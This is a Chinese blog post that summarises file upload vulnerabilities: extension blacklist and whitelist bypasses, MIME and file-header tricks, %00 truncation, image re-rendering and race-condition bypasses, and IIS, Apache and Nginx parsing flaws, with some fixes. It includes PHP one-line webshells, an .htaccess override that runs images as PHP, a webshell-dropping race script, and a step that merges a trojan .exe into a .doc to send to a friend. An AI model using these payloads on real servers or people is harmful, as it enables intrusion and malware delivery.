文件上传漏洞简单总结+白名单+黑名单+内容、头+解析漏洞/修补方案
问题
之前在学习文件上传漏洞时,只是粗略的了解了一下并没有详细深入去思考问题,这篇博客是自己最近对文件上传漏洞的简单总结和整理,方便自己以后查看,因为文笔较差、技术比较菜,内容引用了多位大佬的文章,外加时间跨度有点长,部分内容有可能没有将大佬原文博客附加,所有希望大佬多多包涵告知,好及时添加;如果内容有错误的地方,还请麻烦指出,万分感谢!
什么是文件上传漏洞?
如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。
所以一般需注意:
在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击
危害?
- 上传网站后门文件(获取webshell)
防御措施?
- 上传文件的存储位置与服务器分离;
- 上传的文件重新修改文件名、文件后缀名;(如何确定后缀名防止修改:前端传递,后端再校验)
- 文件上传的上传保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载;
文件上传(验证/绕过)措施?
前端
js类绕过?
- 页面直接修改js上传文件方法(添加类型等);
- 抓包改包,将上传的文件后缀进行修改;(例如:a.jsp.jpg ——抓包修改为——a.jsp)
- 复制页面,重新构建新页面,获取方法,并修改;
后端
黑名单绕过
Web系统可能会采用黑名单的方式进行过滤。而过滤的方式存在一定的缺陷,比如存在过滤的黑名单不全,未考虑大小写,以及要上传文件的名称存在敏感字符。
基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
使用黑名单过滤方式,肯定会存在缺陷;【对上传文件名称进行敏感字符清除。】
特殊解析后缀
很多语言都存在,有多个可以解析后缀。当目标站点采用黑名单时,往往包含不全面;
例如:
语言 | 默认(服务器)可解析后缀 | 盲猜绕过可解析后缀 |
---|---|---|
asp.net | 【IIS】 | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | .php .html .htm 【apache】 | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | *.jsp ,*.jspx 【tomcat】 | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
Tomcat添加可解析后缀名:
-
路径: apache-tomcat-x.x.x\conf\web.xml
-
文件: web.xml
-
修改位置:
<url-pattern>*.*</url-pattern>
-
<servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> </servlet-mapping>
Apache添加可解析后缀名:
-
路径:Apache24\conf\httpd.conf
-
文件:httpd.conf
-
修改位置:
AddType application/x-httpd-php .php .html .htm
-
AddType application/x-httpd-php .php .html .htm
.htaccess解析
什么是.htaccess?
前提条件:Apache开启.htaccess文件功能
开启方式:
-
路径:Apache24\conf\httpd.conf
-
文件:httpd.conf
-
位置1:如下代码↓
-
<Directory "${SRVROOT}/htdocs"> Options Indexes FollowSymLinks AllowOverride None (将None改为ALL) Require all granted </Directory>
-
位置2: 去掉注释
-
#LoadModule rewrite_module modules/mod_rewrite.so
实际操作:
-
web站点架构为:php+apache , 保证文件上传到本地 , apache开启对.htaccess支持;
-
黑名单没有过滤
.htaccess
; -
编辑.htaccess文件,写入
//1.这将把目录下的shell.jpg的文件当做可执行的php脚本进行解析并执行。[优先] <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> //2.上传后缀为.aaa的文件,让其做为php类型文件进行解析 AddType application/x-httpd-php .aaa
-
上传一句话木马并以.jpg结尾, 写入
<?php @eval($_POST['pass']);?>
-
菜刀或蚁剑连接,完成!
参考:
大小写绕过
背景原因:
后缀名黑名单过滤不全面导致!
虽然设置了黑名单对常见的后缀进行过滤,但并未对后缀名大小写进行统一。可以利用大小写进行绕过。
例如:.phP
示例:
- 代码只对后缀名为
.php
的文件进行了拦截,并未对.pHp
后缀名的文件拦截 - 上传后缀名为
.pHp
的文件
点绕过
背景原因:(windows特性)
-
Windows 系统下,文件后缀名最后一个点会被自动去除。
-
Linux 系统下,文件后缀名最后一个点不会被自动去除。
利用 BurpSuite 工具截断 HTTP 请求,上传文件后缀名加 .
绕过上传。
使用条件:
- 只能在Windows系统下方能生效;
利用示例:
- demo.php
.
【demo(点)
php(点)
】
空格绕过
背景原因:(windows特性)
- Windows系统下,对于文件名中空格【demo.php
(空格)
】会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。 - 解释: 文件上传功能过滤不完善,没有考虑到空格的情况,将文件【demo.php
(空格)
】认为是以(空格)
结尾的特殊文件,允许上传,当文件成功上传到windows系统下时,因为Windows系统特性会被作为空处理,也就是删除文件最后的空格,结果为【demo.php】
利用示例:
- 通过BurpSuite截断 HTTP 请求之后,在对应的文件后缀名处添加空格。
- 点绕过和空格绕过结合示例如下:↓
例如:
a.php[空格](点)[空格]
a.php .
a.php(点)[空格](点)
Windows下:
a.php
a.php(点)+空格+(点)
deldot删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名为1.php.
利用Windows自动去除最后一个点,导致成功上传1.php;
::$DATA绕过
背景原因:(windows特性)
-
在window系统下,如果上传的文件名为
a.php::$DATA
,它会在服务器上生成一个a.php
的文件,其中内容和所上传内容相同,并被解析。 -
例如:
phpinfo.php::$DATA
Windows会自动去掉末尾的::$DATA变成phpinfo.php
利用示例:
-
通过BurpSuite截断 HTTP 请求之后,在对应的文件后缀名处添加
::$DATA
。 -
a.php::$DATA
特别说明:
在windows下,无法直接测试::$DATA,因为windows不允许后缀名中存在特殊字符;
配合解析漏洞(*待补充)
双后缀名绕过
背景原因:
-
文件上传过滤代码,会将文件名称进行敏感字符清除。
-
文件上传过滤代码,后缀名黑名单过滤不全面导致!
-
例如:如果上传的代码后缀名为
.php
,那么就将后缀名舍弃;如:a.php——>a
;
利用示例:
- 对要上传的文件添加重复后缀名,如:
a.php——>a.p
phphp
- 过滤掉php后,会重新拼接为新的php
防御措施:
- 使用递归循环过滤,不使用一次过滤
白名单绕过
基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
MIME绕过
MIME绕过,又叫HTTP请求头中的Content-Type属性绕过;【Response 、Request Headers都存在】
可能很多人不知道什么是MIME?不过没关系,那你一定听说过文件内容类型或者说通过抓包你一定听说过 Content-Type:
text/html
这种类似的,其实,这就是MIME。下面再给大家简单说说吧!
MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
什么是Content-Type
要知道什么是Content-Type,首先要了解什么是Internet Media Type。Internet Media Type即互联网媒体类型,也叫做MIME类型,使用两部分标识符来确定一个类型。在HTTP协议消息头中,使用Content-Type来表示具体请求中的媒体类型信息,意思就是说,Content-Type是Internet Media Type在HTTP协议中的别称。
Content-Type的格式
type/subtype(;parameter)? type
上面是Content-Type的格式,可以拆解为三个部分,分别是主类型(type)、子类型(subtype)和参数(parameter)。
主类型(type)
主类型可以是任意的字符串,比如text。如果是*号则代表所有类型。
/子类型(subtype)
子类型可以是任意的字符串,比如html。如果是*号则代表所有类型。
;参数(parameter)
参数是可选的,可以在Content-Type中加入一些特殊的参数,比如Accept请求头的参数,常见的有用于设置字符编码的charset参数。
Content-Type: */*;q=0.8, text/html;charset:utf-8;
Content-Type中常见的媒体格式类型:
以text开头的媒体格式类型:
-
text/html: HTML格式。
-
text/plain:纯文本格式。
-
text/xml: XML格式。
以image开头的媒体格式类型:
-
image/gif:gif图片格式。
-
image/jpeg:jpg图片格式。
-
image/png:png图片格式。
以application开头的媒体格式类型:
-
application/xhtml+xml:XHTML格式。
-
application/xml: XML数据格式。
-
application/atom+xml:Atom XML聚合格式 。
-
application/json: JSON数据格式。
-
application/pdf:pdf格式 。
-
application/msword: Word文档格式。
-
application/octet-stream: 二进制流数据(如常见的文件下载)。
-
application/x-www-form-urlencoded: 中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)。
另外还有一种常见的媒体格式是上传文件之时使用的:
- multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式。
以上就是我们在日常的开发中,经常会用到的若干Content-Type的内容格式。
MIME拦截代码样例:
@Controller
@RequestMapping(value = "/users", method = RequestMethod.POST, consumes="image/*")
@ResponseBody
public List<User> addUser(@RequestBody User userl) {
return List<User> users;
}
//consumes:指定处理请求的提交内容类型(Content-Type),例如application/json、text/html;等。如果不是指定的类型不响应;
//上面这个方法【仅处理】请求Content-Type为【image/*】类型的请求。
MIME利用示例:
- 通过抓包的形式,修改Content-Type类型,将类型指定为:image/*
- Content-Type类型位于HTTP Request 中,要以网站为中心,request表示获取数据,response表示返回数据;
参考链接:
%00截断
%00跟随url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是**%00解码后的内容,即解码成了0x00**。总之就是**%00被服务器解码为0x00发挥了截断作用**。
00截断的核心:
当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
00截断原理:
- 其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0)
- chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
- 那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
- 那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。
- 如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?
- 通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。
- php版本要小于5.3.4; 5.3.4及以上已经修复该问题
- magic_quotes_gpc需要为OFF状态
下面是用 URL 编码形式表示的 ASCII 字符:
URL-encode | ASCII VALUE |
---|---|
%00 | 0 |
重点:在url中%00表示ASCII码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束*,所以**当url中出现%00时就会认为读取已结束。
例如:
URL | 输出内容 |
---|---|
https://mp.csdn.net/upfiles/?filename=test.txt | 此时输出的是:test.txt |
加上**%00**后——>> | |
https://mp.csdn.net/upfiles/?filename=test.php %00.txt | 此时输出的是:test.php |
就绕过了后缀限制,可以上传webshell啦。
利用示例:
一、前端使用%00截断
打开BurpSuite抓包工具,找到上传文件后缀名位置;
-
**%00截断百分之百绕过前端校验;**例如:a.php%00.jpg
-
-
在上传文件后缀名处,直接用 %00 就可以了。示例:a.php%00.jpg
-
某些情况下,直接在文件名中加 %00 进行截断不生效无法起到相应的作用,因为 %00 会以字符串的形式解析了。(不认为是空(NULL)字符,认为只是普通拼接的字符串);
-
解决方法如下:
- 是我们需要对 %00 做一个URL解码,也就是URL-decode;(在BurpSuite内选中%00右键convent selection——>URL——>URL-decode)
- 通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断;
-
-
为什么两者用法不同?
这是因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断。
-
-
如果是存在后端校验;%00截断只能绕过前端校验,达不到预想结果;
二、后端使用%00路径截断(后端校验一般为后缀名,考虑%00截断文件路径)
知道了基本原理之后,我们还要分析它怎么起作用,如果按照上述的做法来做,则00绕过只能绕过前端验证,因为如果是后端验证,那么即使后缀被截断了,处理之后为.php,还是会被后端验证拦截,所以不是什么情况下00截断都有用的,不过这里至少可以确定,在绕过前端验证可以用。在文件名中插入空字符进行00截断,只适合前端绕过,后端绕过无效。
- 如果在Burp中直接改filename,根本无法起作用,因为截断的只是后缀名,只能绕过简单的前端验证,如果遇到后端校验,在提取上传文件后缀的时候后缀还是.php,肯定会被拦,也就是说这里00截断没有发挥任何“绕过”后端验证的作用。
这里想绕过,必须要知道文件上传的条件:- 1.后缀检测,合格则进行上传路径拼接
2.拼接路径和文件名,组成文件上传路径
- 1.后缀检测,合格则进行上传路径拼接
- 这里决定文件上传后被保存在文件夹中的真实后缀名的是文件上传路径,因为上面一大堆代码只不过是对后缀名进行各种处理和验证,这里相当于一个过安检的过程,最后决定文件到底是什么名字,什么后缀名,要看**“文件上传路径”**;
- 文件路径是上传路径和文件名拼接的,也就是说也许上面的后缀被处理了半天能通过安检了,但是最后上传后的文件后缀却不一定是这个被处理了半天的“后缀”;(如果上传文件的路径也是通过前端传递到后端进行拼接的,那么我们在路径中添加后缀并截断,舍弃拼接后缀名部分,就可以绕过后端校验;例如:filePath:/api/upload/file/a.php%00;fileName: a.jpg)
- 也就是说想使用00截断绕过后端验证,除非两个条件之一:
- 1.路径拼接像上图的代码一样,直接使用的 $file_name这个文件名,而不是 $file_ext和其他什么东西来拼成一个文件名字,这时文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
- 2.文件路径可控,比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果;
- 抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。
参考连接:
【%00和0x00】区别:
它们最终的结果都是一样的,都代表着chr(0),即空字符,只不过使用的位置不同,0x00代表16进制的空字符00,需要在HEX中改为00,进行截断,而**%00是URL解码之前的字符**,它被解码成16进制ASCII码之后实际上也是0x00,所以它们最终都对应的是空字符,这里%00可以用在URL中如xx.php?filename=test.php%00.txt
,也可以直接插在Burp包中的路径中,如path=shell.jsp%00.txt
0x00截断
0x00是十六进制表示方法,表示ASCII码为0的字符,在一些函数处理时,会把这个字符当作结束符。
0x00可以用在对文件名的绕过上,具体原理:系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。也就是说系统是按二进制或十六进制读取文件,遇到ASCII码为0的位置就停止,而这个ASCII码为0的位置在十六进制中是00。
总之就是利用ASCII码为0这个特殊字符,让系统认为字符串已经结束。
0x0a截断
0x0a是十六进制表示方法,表示ASCII码为/n的换行字符,具体为换行至下一行行首起始位置。
内容及其他绕过?
文件头检测
文件头检查是指当浏览器上传到服务器的时候,白名单进行的文件头检测,符合,则允许上传,否则不允许上传。
常见文件头:
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
XML (xml),文件头:3C3F786D6C
ZIP Archive (zip),文件头:504B0304
文件头代码拦截示例:
-
- 文件上传接口,读取文件,并将文件转为输入流;
- 截取文件流的前四个字节,并将其转成16进制,并转为大写
- 比较截取的字符与常见的文件类型头部字符进行比对,返回文件的类型
- 正常通过,存在异常则报错;
文件头利用示例:
-
方法一:
-
- 先将一句话木马写入txt文件,改文件后缀为png格式;
- 用winhex打开,找到你所改成图片的文件头(例如我想改成的是png格式,也可以jpg等,png图片的格式头是89504E47),只要将其放在文件头部(也就是放在一句话的前面),保存即可。
- 上传,用bp抓包,然后修改文件后缀为.php格式,放包即可,用蚁剑连接即可。
-
-
方法二:
-
-
准备一个要上传的图片;一个一句话木马.php
-
执行命令:
## CSDN.png 为要上传的图片【必须加/b】; ## 1.php 为一句话木马【必须加/a】; ## phpinfo 为重新定义的文件名; copy CSDN.png/b+1.php/a phpinfo.png
-
上传图片!
-
-
-
方法三:
-
- BurpSuite抓包上传文件时,部分上传功能代码会展示文件流输出
- 直接在文件流的最前方,添加文件头(png格式文件头,jpg格式文件头)
-
doc、pdf、excel文件头木马写入:
-
-
准备word文档
.doc
+.exe
木马文件 -
执行命令
copy CSDN.doc/b + 1.exe/a phpinfo.doc
-
发送给朋友;
-
参考链接引用:
二次渲染
出现的原因:
- 处于安全方面的考虑,不信任用户输入、上传的任何数据、图片;
- 因此,对于用户上传的图片等信息,都需要开发人员对图片文件重新生成!;
- 这就是防止图片中参杂恶意代码的防御措施;(即,对图片文件流,只保留可以生成图片的最基本部分,其他地方舍弃!)
二次渲染意义:
- 二次渲染过滤掉图片中掺杂的恶意代码
二次渲染利用方式:
- 结合文件包含漏洞利用
二次渲染绕过方式:
-
.gif绕过
-
- 将包含恶意代码的图片
phpinfo.gif
,上传到服务器; - 服务器上传图片功能代码,对图片进行过滤,只保存最基本的部分,并返回到前端页面展示;
- 下载上传后的图片,并用
winhex.exe
打开,发现图片末尾处的一句话木马消失; - 使用winhex对比功能,找到原图片与上传后图片的相同之处,并在该位置插入恶意代码;
- 实际操作:winhex——》工具——》比较——》搜索相同;展示区,蓝色部分是没有发生变化的,
- 在图片相同处,蓝色部分位置中间插入恶意代码,并上传,成功绕过;
- 将包含恶意代码的图片
-
-
.jpg绕过
-
php jpg_payload.php 2man.jpg
-
-
.png绕过
-
php png_payload.php TJXB.png
-
运行脚本即可生成,这里的一句话木马是:
<?$_GET[0]($_POST[1]);?>
使用方式是get传参0=。。。
加上post传参1=。。。
-
参考引用:
Upload-Labs第Pass-16通关(二次渲染绕过) 详解
条件竞争
概念:
发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中
产生原理:
先将文件上传到服务器中,再判断文件后缀是否在白名单里面。如果在则重命名,否则删除。
利用思路:
-
方式一:上传
a.php
木马文件,以极快的时候进行访问,执行文件流重新写入一个新的木马文件b.php
-
<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["x"]);?>'); ?>
-
只要访问了a.php文件,php文件就会成功解析执行,自动创建一个info.php,写入一句话木马:<?php @eval($_POST["x"]);?>
-
-
方式二:上传多个a.php木马文件,赶在应用程序删除它之前,我们进行访问;
突破getimagesize
函数原理:
-
getimagesize 这个函数,对于图片处理上面不仅效率低,而且还存在风险
-
getimagesize 是通过获取图片数据流中头部几个字节来判断(图片类型)的(文件头绕过)
-
这样就为web_shell注入 提供了机会,木马程序只需要在头部插入相关图片类型几个字节,就可以绕过 getimagesize 的检测。
利用方式:
- 同文件头检测;
突破exif_imagetype
函数原理:
exif_imagetype(string $filename): int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
利用方式:
- 同文件头检测;
漏洞/修补
*解析漏洞
IIS 6.0/7.X
IIS6.0目录解析
【/xx.asp/xx.jpg】
产生原因:
在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
- 例如创建目录 wooyun.asp,那么**/wooyun.asp/1.jpg**将被当作asp文件来执行。
- 假设可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
IIS6.0文件解析
【wooyun.asp;.jpg】
产生原因:
在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg,会被服务器看成是wooyun.asp。
IIS6.0默认解析
IIS6.0 默认的可执行文件除了asp后缀名外,还包含这三种
- /wooyun.asa
- /wooyun.cer
- /wooyun.cdx
链接引用:
IIS6.0漏洞利用-PUT-move链接引用介绍:
put方法允许用户上传文件到指定的路径下如果在iis中,目录支持写权限,同时开启了WebDav,则会支持PUT方法再结合MOVE方法改名,就能将原本只允许上传文本文件改写为脚本文件,从而执行webshell,move能否执行成功,取决于iis服务器是否勾选了“脚本资源访问”复选框再实施攻击过程前,可以通过OPTIONS方法探测服务器支持的http方法类型;
IIS7.0/7.5 PHP FastCGI解析
漏洞又名:PHP CGI解析漏洞
首先IIS,Nginx,并不能直接编译运行PHP,需要配合其他后端解释器(例如:PHP CGI)等
知识准备:CGI链接引用:
知识准备:如何让IIS7支持PHP?
-
下载PHP文件包,配置**(IIS)角色服务**CGI
IIS7.0/7.5 PHP FastCGI解析,漏洞介绍:
从IIS7.0开始内置FastCGI,在FastCGI模式下IIS7.0/7.5解析PHP文件时,默认开启了cgi.fix_pathinfo
(默认为cgi.fix_pathinfo=1),如果设置了为1时,在urlhttp://127.0.0.1/1.png/a.php
中,找不到文件a.php,FastCGI解释器会递归向前解析,当存在1.png时,会把它当做PHP文件解析!(即PHP CGI漏洞)
漏洞影响 IIS7 及IIS7.5 在使Fast-CGI方式调用php时,在php.ini里设置
cgi.fix_pathinfo=1
使得访问任意文件的URL时,在URL后面添加“/x.php”等字符时,该文件被IIS当php文件代码解析。
如 http://127.0.0.1/1.png
的内容如下:当访问 http://127.0.0.1/1.png/a.php
可以看到1.png里的php代码被IIS解析执行了。
示例解析:
http://127.0.0.1/1.gif/a.php
如果wenxin.php不存在,php会递归向前解析,如果tony.png存在,把它当做PHP文件解析!
产生原因:
- Fast-CGI(fast-cgi)模式下,并且在php.ini配置文件中,cgi.fix_pathinfo的值为1;
- 对其进行访问的时候,在URL路径后添加
.php
后缀名会当做php文件
进行解析,漏洞由此产生;
解决方案:
-
第1种方案:继续使用FastCGI方式调用PHP,要解决这个安全问题可以在php.ini里设置 cgi.fix_pathinfo=0 ,修改保存后建议重启iis(注意可能影响到某些应用程序功能)。
-
第2种方案:使用ISAPI的方式调用PHP。(注意:PHP5.3.10已经摒弃了 ISAPI 方式)
-
第3种方案:可以使用其他web服务器软件,如apache等。
链接引用:
Apache
Apache后缀名解析
漏洞(特性)介绍:
apache对文件后缀名的识别是从后向前(从右向左)进行匹配的,以单个.作为分隔符。当遇到未知的文件后缀名时,会继续向前匹配,直到遇到可以识别的后缀名为止。
示例解析:
http://192.168.138.11/abc.php.xa.cd.gf
当访问 http://192.168.138.11/abc.php.xa.cd.gf
时,可以看到php代码被Apache解析执行了。
示例如下:
- 根目录下有一个abc.php.xa.cd.gf文件,当通过浏览器请求这个文件时,因为第一个后缀名.gf是无法识别的,apache会继续处理**.cd,同样无法识别**,直到最后识别出**.php**,那么最后这个文件将被作为php文件解析并执行。
- apache的这个特性,可以被用来绕过一些上传文件的检测。如果一个文件上传的页面,通过黑名单的方式禁止上传php文件,那么我们就可以将文件名修改为test.php.abcd的方式进行上传。最后请求test.php.abcd时,和请求test.php的效果是一样的,这样就成功绕过了文件后缀名的检测上传了一个php文件。
- apache的这个属性,定义可以识别的后缀名,可以通过修改conf/mime.types文件来实现。
防御措施:
- 在apache/config/httpd.conf中,最后一行添加
FilesMatch
,修改如下:
<FilesMatch ".(php.|qwer.)">
Order Deny,Allow
Deny from all
</FilesMatch>
- php还可以以FAST-CGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。
链接引用:
-
☆ Apache文件解析漏洞-某大佬错误示范-怀疑与他环境有关-问题很大-但是感觉说的很有道理
- 这篇文章,非常详细且受用,细致讲解了apache和php的工作关系,可能以为大佬的环境问题,导致结果是错误的;
- 本人复现问题时发现,小皮面板windows版本和linux版本默认情况下是不允许多后缀名解析的。
- 原生搭建windows/linux+apache+php,可以触发Apache后缀名解析;
- 因此怀疑大佬环境问题导致出错,或者一开始就被禁用掉了多后缀名解析;
问题验证:
-
**问题1:**Apache解析【a.php.xxx】文件是否可以正常通过?
-
只要是原生环境,并且并没有禁用掉多后缀名解析,apache都可以正常通过。
-
Apache看到文件aaa.php.xxx,按照多后缀名的解析规则,认为该文件是php程序文件,把该文件作为php程序文件处理。怎么处理呢?交给php解释器(
在apache24/conf/httpd.conf
内引入php模块),Apache本身并不懂php。 -
php以模块(module)的模式,工作于Apache的领导下。这种模式下php接受到领导Apache分配的任务
-
如何在
apache内配置php模块(apache24/conf/httpd.conf)
的可后缀解析呢? -
两种方式: 方式一: <FilesMatch ".+\.ph(p[345]?|t|tml)$"> SetHandler application/x-httpd-php </FilesMatch> 方式二: AddType application/x-httpd-php .php .html .htm
-
-
问题2: 如果让Apache正常解析【a.php.qwer】文件,通过并执行?需要配置那些东西?
-
-
方式一:
- Apache多后缀名的解析规则特性,本身就可以正常解析【a.php.qwer】文件,不需要修改任何东西;
-
方式二:
- 开启.htaccess文件(参考黑名单绕过,.htaccess解析)
- 上传.htaccess文件,添加可解析后缀
.qwer
- 添加可解析后缀名
.qwer
-
-
-
**问题3:**如果修改apache配置文件,配置可解析后缀名,能否让apache正常解析执行【a.php.qwer】?如何配置?
- 根据apache多解析后缀名特性,从右向左依次解析识别,在windows下
a.php.qwer
,会被Apache自动解析为可执行的php文件,不需要额外配置; - 配置步骤为:首先可以在
apache24/conf/httpd.conf
下添加AddType application/x-httpd-php .qwer
,直接配置可解析后缀名.qwer
,或者开启.htaccess文件(开启步骤,往上),在.htaccess文件中配置可解析后缀名,.htaccess中配置的可解析后缀名只在本文件目录含子目录下有效;
- 根据apache多解析后缀名特性,从右向左依次解析识别,在windows下
Nginx
Nginx PHP CGI解析
漏洞又名:PHP CGI解析漏洞
漏洞介绍:
该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞;
产生原因:
Nginx配置PHP解析器FastCGI,在
php.ini
中开启了cgi.fix_pathinfo并将其设置为1,在php-fpm中将配置文件中的security.limit_extensions(配置项限制了fastcgi解析文件的类型,即仅解析指定类型的文件)选择置为空,触发该漏洞;
Linux环境下,centos7 + nginx + php-fpm
- nginx启动FastCgi来编译解析php文件;
- 在php配置文件
php.ini
中,将cgi.fix_pathinfo=1
设置为1; - 修改
php-fpm
子配置文件(主配置文件位置:/etc/php-fpm.conf,子配置文件目录位置:/etc/php-fpm.d/)/etc/php-fpm.d/www.conf
,将security.limit_extensions= .php .php3 .php4 .php5 .php7
修改为空;即security.limit_extensions = ;- 限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:
.php .php3 .php4 .php5 .php7
- 限制fpm允许解析的脚本扩展名。此设置可以预防web服务器配置的错误。应当限制fpm仅仅解析.php扩展名,阻止恶意用户使用其他扩展名运行php代码。默认值:
示例解析:
http://192.168.138.11/c.png/.php
当访问 http://192.168.138.11/c.png/.php
时,可以看到c.png里的php代码被nginx解析执行了。
Nginx解析漏洞解决方案:
方案一: ☆
-
将
php.ini
文件中的cgi.fix_pathinfo
的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面; -
php-fpm.conf
中的security.limit_extensions
后面的值设置为.php;
方案二: (不推荐)
在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
这行代码的意思是当匹配到类似test.jpg/a.php
的URL时,将返回403错误代码。修改完成后请重启Nginx。
链接引用: